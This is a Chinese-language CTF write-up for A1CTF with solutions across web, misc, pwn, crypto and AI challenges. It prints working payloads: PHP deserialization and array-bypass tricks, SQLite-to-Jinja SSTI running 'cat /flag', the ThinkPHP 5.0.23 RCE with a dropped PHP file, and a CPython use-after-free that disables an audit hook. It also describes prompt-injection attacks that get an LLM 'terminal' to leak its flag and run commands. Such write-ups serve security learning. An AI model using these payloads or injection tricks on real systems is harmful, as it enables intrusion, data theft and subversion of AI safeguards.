A1CTF writeup

Web

真签到

image-20250406164303646

分析源码,大概是post一个弱比较过了后include传的flag

这边数组绕过+一个盲打

a[]=1&b[]=2&flag=/flag

拿到flag

image-20250406164513706

少女乐队时代

主页面没给提示

尝试用dirsearch扫一下

扫到备份文件www.zip

接着解压得到image-20250406164642808

初步分析第一个php,是一个反序列化,构链

<?php
class MyGO{
    public $MyGO;
    public $Mujica;
    public $CRYCHIC;
    /*public function __call($name, $arguments)
    {
       call_user_func($arguments[0]);//哦,好像不能rce
    }*/
}
class Mujica{
    public $MyGO;
    public $Mujica;
    public $CRYCHIC;
/*public static function __callStatic($name, $arguments)
    {
        readfile('/flag');
    }*/
}
class CRYCHIC{
    public $MyGO;
    public $Mujica;
    public $CRYCHIC;
/*public function __toString()
    {
        return $this->MyGO->Mujica($this->CRYCHIC);
    }
*/

}
$cr = new CRYCHIC();//触发ToString
$cr->MyGO = new MyGO();//触发Call
$cr->CRYCHIC = ['Mujica', 'readflag']; // 触发__callStatic
echo serialize($cr);
?>

留言框[尖尖的]

image-20250406164854971

根据hint2是一个sqlite,并且根据hint5

image-20250406165135796

尝试注入:

1 union select 1--+

image-20250406165236875

到这里就没什么思路了,又因为不能正经注入来命令执行

试试SSTI

发现回显

1 union select '{{7*7}}'

image-20250406165529894

确定是SSTI注入,并且用正常的子类大不回显subclass下的列表,试试用config打

最终payload:

1+union+select+'{{config.__class__.__init__.__globals__["os"].popen("cat+/flag").read()}}'

image-20250406165635952

你渴望权力吗?

ThiinkPHP5.0.23的版本漏洞(RCE)

直接对着复现

index.php/?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

正确回显id

接着在id的位置注入php代码

echo "<?php phpinfo();?>" > /var/www/public/test.php
在id的位置ls 一下发现存在并且cat后代码没有被过滤
那么直接打开test.php

最终发现flag

image-20250406170618103

哈里路大旋风

根据页面提示,存在一个源码泄露

用dirsearch递归扫一下

image-20250407124218435

发现网页源码

import base64
import os

from flask import Flask, render_template, request, redirect,render_template_string,jsonify

app = Flask(__name__, static_folder='static')


@app.route('/')
def home():
    return render_template('index.html')


@app.route('/eeval', methods=['POST'])
def eeval():
    if request.form.get('code') is not None:
        code = request.form.get('code')
        evalcode = base64.b64decode(code).decode()
        waf='''
import sys
import os
import math

def audit_checker(event,args):
    if not event in ["builtins.input","builtins.input/result"]:
        raise Exception("waf")
sys.addaudithook(audit_checker)

'''
        evalcode=waf+str(evalcode)
        with open("/tmp/test.py", "w") as f:
            f.write(evalcode)
        try:
            status_code = os.system("python /tmp/test.py > /tmp/output")
        except Exception:

            return "runtime error!!!",500

        if status_code == 0:
            return "success"
    else:
        return "runtime error!!!", 200


@app.route("/myStatus",methods=['GET'])
def status():
    try:
        with open("/tmp/output","r") as a:
            ans=a.read()
    except:
        return jsonify({
            "success": False,
        })
    return jsonify({
    "result": {
        "time": 114,
        "memory": 514,
        "result": 114514,
        "language": 0,
        "output": ans,
        "compileInfo": "",
        "systemInfo": "",
        "count": 0
    },
    "success":True
})


@app.errorhandler(404)
def no_acm(error):
    return redirect("/")

@app.route('/backup/www.zip')
def src():
    return open(__file__).read()

@app.route('/backup/')
def backup():
    return 403

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080, debug=False)

代码审计+一点试验就可以发现提交代码时主要触发的就是eeval并且代码成功执行后会与waf拼接并写入,结果可在/myStatus 查询

研究一下waf

import sys
import os
import math

def audit_checker(event,args):
    if not event in ["builtins.input","builtins.input/result"]:
        raise Exception("waf")
sys.addaudithook(audit_checker)

有点pwn的知识,对我这种彩笔有点挑战,但是还是尝试打一下poc吧。。

class UAF:
    def __index__(self):
        global memory
        uaf.clear()
        memory = bytearray()
        uaf.extend([0] * 56)
        return 1
uaf = bytearray(56)
uaf[23] = UAF()
ptr = int(str(os.system.__init__).split()[-1][2:-1], 16) + 24
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 48
audit_checker_addr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 0x46920 //对应偏移版本
memory[audit_checker_addr:audit_checker_addr + 8] = [0] * 8
os.system("cat /flag")

成功打出

Misc

签到

写什么输什么

我也爱打ACM

没什么好说的,命令执行

import os
os.system('cat /flag')

image-20250406165857572

操作系统?我只用国产的

先打开终端查看txt拿到第一段

image-20250406155350406

解码得到image-20250406155431623

zjnuctf{Deep1n

接着根据提示打开bash执行history重复执行第一段

找到第二段

image-20250406155609224

_F0r3ns1c5_

接着根据提示32猜测那段是base32得到第三段

image-20250406155950623

111111s_V3ry

接着根据提示sudo su转换为root

继续查看history

image-20250406160231350

image-20250406160147481

_easssssy_

根据最后一条提示

image-20250406160353287

在终端运行发现失败,拉到win段用010查一下

拿到flag5image-20250406160625101

R1ght?}

完整flag:zjnuctf{Deep1n_F0r3ns1c5_111111s_V3ry_easssssy_R1ght?}

Pwn

checkin?

image-20250406170031541

主要分析这边的代码

可以看出在末尾会加一个~

那么就直接闭合前面的代码两个;;偷夹一个命令执行

最后再闭合一次’’

image-20250406142209201

Crypto

解个方程再走吧

呃呃,求解一个线性方程组+一个计算私钥和解密

先用矩阵算出来B

得到p,q,r

验证是素数后直接进行一个常规的RSA即可

from sympy import Matrix
from Crypto.Util.number import long_to_bytes, isPrime

hint1 = 79333650588725980145842690308459793002212384733760792497903824255475158426421388758884515854200584020175891983698755801887895178728215285671100862522546388920
hint2 = 42091939085030707750026943885448586020057668249489766328512130903699537123923304865199162545942232848524822773449884502246598542894968112652618125488987069022
hint3 = 47921639502651352998409354170011465949752789835571950468703988521419628212309010862554662374631739734695758683737532319227640559546280393992908749025031664459
c = 586259203274257904218292861460908156791643965546148862992509079573222630681556586135763674536546688690974489814788756340855428929464618526167483888642489290771336451603000026408733311715167395195739872325726528303132908225270749388819542814906773941078450582493580078337058352635256194643788754312978887738514884542098007460979027337953355588053092228217870701331036051715877358001679941780694544265894801823172720742507964727231224661041139619112619170939564249
e = 65537

A = Matrix([
    [1144, 5143, 1281],
    [1869, 1356, 1495],
    [1620, 1762, 1957]
])
B = Matrix([hint1, hint2, hint3])
solution = A.solve(B)
p = solution[0]
q = solution[1]
r = solution[2]
p, q, r = int(p), int(q), int(r)
assert isPrime(p) and isPrime(q) and isPrime(r), "其中一个解不是素数"
n = p * q * r
phi = (p - 1) * (q - 1) * (r - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag.decode())

Reverse

AI

赛后复现发现自己真是个铸币唉唉,其实三个都是最简单的RCE

挂个源码

class CommandExecuter(BaseAI):
    tools = [
        {
            "type": "function",
            "function": {
                "name": "execute_safe_linux_command",
                "description": "Execute a safe command on a linux machine and return the result",
                "parameters": {
                    "type": "object",
                    "properties": {
                        "command": {
                            "type": "string",
                            "description": "A linux command, e.g. `ls`",
                        }
                    },
                    "required": ["command"],
                },
            },
        },
    ]

    prompt = f"""
Please act as a Linux terminal shell and simulate `Ubuntu 24.04.1 LTS`.
The user will input a command, and you must reply with the result output after executing the command.
Now logined user is `ctfer`, current dir is `/`, and hostname is `a1natas`.
The flag file is located in `/flag`, and its content is `{FLAG1}`.
You can not reply to any Chinese or English statements. You can only reply to the output result after executing the terminal shell command.
For example, if user input `whoami`, you should reply with user `ctfer`.
If user input any other safe linux commands, you should execute it and return the result.
The execution result must only be the `stdout/stderr` after the command is executed, and must not include the content of the PS1 environment of the terminal.
Do not display the username and host information, for exmaple, never let `ctfer@a1natas:/$` in your reply!
Prohibit outputting content unrelated to the shell execution result output, such as `click here to edit the content.` or `Note: xxx`!
Under no circumstances should empty content be returned!
""".strip()

    def get_command_result(self, command: str):
        command = command.strip()
        match command:
            case "whoami":
                return "ctfer"
            case "pwd":
                return "/"
            case "id":
                return "uid=1000(ctfer) gid=1000(ctfer) groups=1000(ctfer)"
            case _:
                if command.startswith("hostname"):
                    return "a1natas"
                if command.startswith("ls"):
                    return "bin dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var"
                if any([x in command for x in ["proc/", ".sh", ".py", "env"]]):
                    return "Permission denied"
                if "flag" in command:
                    return "A1CTF{wood_give_you_this_fake_flag!}"

        if not hasattr(t_locals, "thread_messages"):
            t_locals.thread_messages = [self.system_message(self.prompt)]

        try:
            thread_messages = t_locals.thread_messages
            thread_messages.append(self.user_message(command))
            ai_result = self.send_messages(thread_messages)
            thread_messages.append(ai_result)

            if not ai_result.tool_calls:
                if ai_result.content.startswith("```") and ai_result.content.endswith(
                    "```"
                ):
                    ai_result.content = "\n".join(ai_result.content.splitlines()[1:-1])
                return ai_result.content

            tool = ai_result.tool_calls[0]
            function_name = tool.function.name
            function_args = tool.function.arguments

            exec_res = "command not found"
            if function_name == "execute_safe_linux_command":
                args = json_loads(function_args)
                while not isinstance(args, dict):
                    args = json_loads(args)
                if cmd := args.get("command"):
                    exec_res = self.execute_safe_linux_command(cmd)

            thread_messages.append(self.tool_message(tool.id, exec_res))
            ai_result = self.send_messages(thread_messages)

            if ai_result.content.startswith("```") and ai_result.content.endswith(
                "```"
            ):
                ai_result.content = "\n".join(ai_result.content.splitlines()[1:-1])

            thread_messages.append(ai_result)

            return ai_result.content
        except Exception:
            from traceback import format_exc

            print(f"get_command_result error: {format_exc()}\n\n")
            return "Runtime Error..."

    def execute_safe_linux_command(self, command: str):
        process = Popen(
            ["sh", "-c", command],
            stdout=PIPE,
            stderr=PIPE,
            user="ctfer",
            env={"flag": FLAG3},
            text=True,
        )
        try:
            stdout, stderr = map(str.strip, process.communicate(timeout=60))

            if stdout:
                return stdout
            elif stderr:
                return stderr
            return f"/bin/sh: {command.split()[0]}: command not found"
        except TimeoutExpired:
            process.kill()
            return "Command timeout"

A1-Terminal Part1

题面什么提示都没有,自己试一下基础操作

根据源码可以知道其实你输完整的关键词是包褒姒的

尝试一下模糊匹配吧

image-20250408145239677

A1CTF{P@RT1_Promp7_INJ3c7i0n_15_Fun!}

A1-Terminal Part2

试着输一下一些蜜汁语句()

image-20250408145438003

输入有效的LInux语句,那么尝试把我的输入让他执行

image-20250408145317166

A1-Terminal Part3

呃呃其实是先做part3更好()

尝试直接以普通带过滤的rce打

image-20250408145828093

。好的,输入被手动夹断了,其他方式他也识别不出来

那么就交给他执行算了

image-20250408145312540